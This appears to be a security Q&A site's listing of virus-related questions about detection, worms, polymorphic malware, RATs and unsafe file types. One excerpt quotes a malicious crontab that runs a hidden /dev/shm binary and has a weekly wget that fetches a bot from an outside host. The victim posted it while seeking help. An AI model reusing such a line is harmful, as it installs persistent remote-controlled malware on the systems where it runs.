A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.
8
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6answers
473 views
What is preventing the widespread common use of MAC-type systems?
Overall question
what is preventing the uptake of MAC systems such as SELinux/AppArmor in corporate and desktop computing environments?
Why don't you think it isn't already widespread?
I do not ...
3
votes
1answer
128 views
Potential services.exe infected file?
I was asked by a coworker to help solve a problem with a remote client site through VNC. Immediately after connecting I've started noticing some strange behaviors that I am lead more and more to ...
3
votes
5answers
711 views
How can I know if my PC is getting infected?
I have installed an antivirus, but as no antivirus is perfect, what can I do to diagnose if my PC is getting infected?
For example, keeping a close eye on what programs and tasks run when I turn my ...
1
vote
0answers
31 views
vbs agent kz trj [duplicate]
Possible Duplicate:
Index page has been compromised, suspicious files are showing up
I have vbs agent kz trj one my laptop. my httpd.exe and mysql.exe is infected and deleted from Xampp. ...
1
vote
3answers
152 views
Where can I find information on existing viruses?
As part of my research, I have created a small malware corpus which I'm conducting my tests against. I would like to categorize them based on Metamorphic / Polymorphic / etc.
I am not sure if this is ...
0
votes
2answers
150 views
Dealing with a (possible) virus on both MacOSX and iOS
The symptom:
On MacBookAir, in Safari, FF and Chrrome, when accessing www.google.com, I get redirected to a http://developer.yahoo.com/yql/ web page.
On iPhone, when navigating to google.com I get ...
2
votes
3answers
84 views
How to tell what viruses are covered by your anti-virus software
One of our corporate twitter accounts recently started sending out DMs to its followers. Looking at the content of these it seems we'd become infected with Troj/Mdrop-EML.
All computers on our ...
6
votes
3answers
2k views
Is it possible for a phishing link to install a major virus on a Mac?
My girlfriend recently had her university MS Exchange account hacked. The attacker took over her email account and started using it to send thousands of spam emails. After a while, her email account ...
5
votes
2answers
124 views
How serious is a local virus in terms of network security
I work at an insurance company in the U.S. My colleague got a notification on his machine of a possible virus (through the virus scanner that is installed by default on all machines). He called up the ...
2
votes
4answers
319 views
Virus won't be picked up by Antivirus tools
Today we found a virus / trojan on our network which has thus far:
Hidden all files and folders
Replaced the hidden files and folders with executables of itself, with matching icons, and renamed ...
3
votes
1answer
264 views
How antivirus companies create virus defnitions for new outbreaks
This question quite amazes me. I dont understand how antivirus companies get info about the latest viruses. have they installed some kind of filters to monitor the internet traffic ?
Or they are ...
12
votes
4answers
603 views
How is a worm different from a virus?
In spite of various online articles, I'm a bit unclear on the distinction between a "worm" and a "virus".
Two related questions--
Is there a useful and clear distinction here or no? If so, what is ...
2
votes
3answers
268 views
I found a malicious website embedded in Malware spam. What should I do?
An email is using social engineering to get users to click on a malicious URL that downloads javascript and then runs malicious code.
Who should I report these malicious URLs to? (Microsoft ...
4
votes
3answers
386 views
what is the difference between boot-sector virus and rootkits?
I have read the definition for both and also read about a few examples for both the cases. I'm still not very sure what the difference is. Is the difference blurred or are there some specific ...
1
vote
2answers
125 views
anti virus acting up/DNS poisoning
I was running my desktop and the AV deleted a file that it said was a virus (this was not during a scan, just normal usage). Now I'm just browsing the web and I got a couple of DNS poisoning attacks ...
0
votes
4answers
134 views
Infection I can't shut down, disguises process as scvhost.exe [closed]
A little while ago my home machine got hit and I was able to clean out just about everything except this one process. I can't find the origin but it shows in my process manager as scvhost.net by the ...
1
vote
1answer
81 views
Where can I find documented details of virus so that I might be able to find out why I am infected?
My AV detected that some computers in our network are infected with Win32.Sality.Y.
Is there any good place I can find the documented details of this virus, so that I can (generally) how the virus ...
3
votes
1answer
134 views
Backdoor.ASP.Ace.C keeps showing up and being removed by f-secure
Backdoor.ASP.Ace.C is being found and removed from:
C:\Users[username]\AppData\Local\Temp[randomstring]
We have recently found some malicious aspx files on our IIS server that we have studied and ...
5
votes
2answers
5k views
Is Buzzdocks a security threat?
A BuzzDock toolbar suddenly appeared in my Chrome browser. I definitely did not install it nor do I remember installing any crapware.
It is not unknown to the internet community (Example 1, Example ...
1
vote
2answers
184 views
Safety of opening .txt files via URL
If I'm given a URL that points to a .txt file, is it always safe to open it? Can it possibly contain virus or malicious content?
2
votes
3answers
505 views
How to do a virus scan before post attachments in asp.net application
How to do a virus scan before post attachments in asp.net application,when they find a virus on to give up post attachments,otherwise proceed to upload.
I wonder if there are any APIs out there where ...
2
votes
3answers
792 views
Do I have a virus on my hosted site?
A few weeks ago I hired an outsourcer from India to build for me a very simple PHP site.
I bought PHP hosting and a domain name, and I gave him all the credentials together with the specification of ...
0
votes
2answers
176 views
How could an AV detect a virus that has a chance of not decrypting itself?
If I understand this correctly there is a chance the virus may not decrypt itself at all. How could an AV catch this?
In some cases, the decryptor may start with a header whose intent is
not ...
1
vote
0answers
306 views
Why do complex viruses tend to be written in assembly? [closed]
For example Simile is extremely complex and is written in assembly. If something is going to be complicated isn't it best NOT to write it in assembly?
18
votes
4answers
1k views
Are anti-virus companies companies regularly committing software piracy?
As Mikko Hypponen highlighted in a recent tweet, anti-Virus companies collect and store both samples of malicious software and samples of legitimate software:
This got me to thinking, what ...
14
votes
5answers
823 views
Why would a virus writer bother to check to see if a machine is infected before infecting it?
I was looking at the tripartite structure of a virus, and it seems to check to see if a computer is infected before infecting it with the virus. Would this be an attempt to use files that are already ...
-1
votes
2answers
1k views
Malware or buggy software gives Low Disk Space warning
Since a few days, I am getting an alert that in my c drive disk space is low. When I verified, free space in my c drive was decreasing hour by hour and there was a stage when it simply said that 0 mb ...
2
votes
2answers
113 views
How could one avoid virus infection via software updates
Almost all useful software get updated with time. Operating system updates, I "guess", might be less stringently checked by the normal anti-virus programs, since their sources could be considered to ...
3
votes
2answers
137 views
How to practically detect current system net traffic?
I know that some viruses or trojans can install rootkits or bootkits to change system's normal behaviour; AFAIK for example filter queries for running processes or even hide active TCP ports.
My ...
3
votes
4answers
216 views
Has any virus attempted to compromise the anti-virus database?
I was using an old version of Norton Anti Virus and the Live Update wouldn't run. The solution was to rename a file. This got me thinking if a virus could replace an anti-virus database with it's own ...
19
votes
2answers
471 views
Cohen's problem
Fred Cohen determined theoritically that viral detetction is an undecidable problem. Can anyone provide an intuitive reasoning for that?
Background
Fred Cohen experimented with computer viruses ...
4
votes
1answer
2k views
What can I do to make sure my computer isn't infected with FinSpy?
What steps have been taken by common free software OS distributions to protect against it? What can Windows users do? What ways are there to rid a system of it?
41
votes
6answers
2k views
Virus Encoded in Video
So I'm not familiar at all with IT Security, but I'm a bit curious about something. I was watching a TV show and at one point, a virus spreads through an office. They investigate and find out that the ...
1
vote
1answer
73 views
Two questions regarding Mixor worm
According to Symantec's write up "it also infects .exe and .scr files in folders containing [RANDOM CHARACTERS].t".
What if one of the .exe/.src files is run on the same computer - then all the ...
2
votes
2answers
3k views
How does Remote Access Trojan / Backdoor Software work?
How does the RAT works? I understand it as once we surf the infected website, browser might download the trojan to our PC automatically. Will it executed and auto install in our computer?
I can't ...
5
votes
3answers
201 views
How safe are copies of Firefox that are on various Mozilla mirror sites?
If I end up downloading a .dmg or .exe (depending on OS) installer from some mirror site, how can I be sure that a virus or trojan or spyware has not been added?
I don't see any mechanism for ...
3
votes
3answers
339 views
How do polymorphic/metamorphic/self-encrypting/self-changing file infectors know if they have infected a file or not?
If a virus rewrites itself for each infection how would it know if it has infected a file or not? If it keeps infecting the same file soon the whole file structure will be corrupt. For example how ...
0
votes
1answer
195 views
Virus developers groups [closed]
Are there any groups of virus developers around anymore? Like 29A group and bunch of other groups few years ago. They never released their codes, never used then to steal data etc.
5
votes
2answers
1k views
Viruses on video cards?
Steve Gibson of Security Now fame claims that viruses can attack a video card and infect it. I assume that he means it can infect the Video BIOS. However I'm skeptical. BIOSes are so numerous and ...
2
votes
2answers
299 views
Can a polymorphic/metamorphic worm use a mutex?
Can a polymorphic/metamorphic worm use (the same) mutex? This would solve the problem of grinding the network into the ground and consuming all resources with multiple instances of the worm. Is the ...
-1
votes
1answer
103 views
Would this be plausible for a metamorphic virus? Not repeatedly infecting same system
Would this be plausible for a metamorphic virus? When a new generation (for lack of better word) is created it would hard code a random file name, that would be checked to see if the system was ...
12
votes
2answers
449 views
Is there a real possibility of getting malware by “drive-by”?
I know malware can be gotten by downloading and running stuff, but is there a real possibility of just viewing a webpage or clicking a link and getting one?
Assuming using only Firefox / Chrome and ...
1
vote
1answer
125 views
What are the security issues relating to macro enabled MS office documents?
Are there any security issues relating to macro enabled MS office documents?
2
votes
3answers
122 views
Find changes and modifications made to system by application or virus,
I would like to use either Hyper-V or Vmware to take a Clean Base snapshot and a snapshot after an application or virus has made changes so I can then see what was changed between the two images.
...
0
votes
0answers
228 views
Pcap file inspection [closed]
I have 3 packet capture, generated with Wireshark, of an example intrusion but I'm struggling to figure out whats going on.
I also tried running the pcap files in snort to see if it detected ...
3
votes
2answers
578 views
Is SecureShellz bot a virus? How does it work?
I'm using a development server in which I found this in the crontab:
[...]
* * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1
@weekly wget http://stablehost.us/bots/regular.bot -O ...
2
votes
1answer
194 views
How does malware such as Stuxnet and Flamer propagate through USB memory sticks?
The best explanation I found is from this article but it still is unclear to me. Apparently a new vulnerability has been found involving .lnk files where when a folder on the memory stick containing ...
5
votes
4answers
344 views
Would running VMs inside of VMs be a more secure way to study viruses, etc?
I was reading this post on SuperUser, and it made me wonder about security. I've read somewhere else that some viruses/malware/whatever CAN break outside of a VM... and then infect the host OS. BUT, ...
10
votes
3answers
2k views
What file formats are known to be unsafe?
I recently found out pdf's can contain viruses, and from the impression I got its more than a buffer overflow error (I heard it may visit urls automatically but the person sounded unsure)
What are ...
2
votes
2answers
143 views
How do viruses know if they have already infected a system or done something?
I know some viruses repeat the same actions over and over again with no break, thus grinding the network to a halt. But others "take a break" from there repetitive actions.
For example Nimda ...
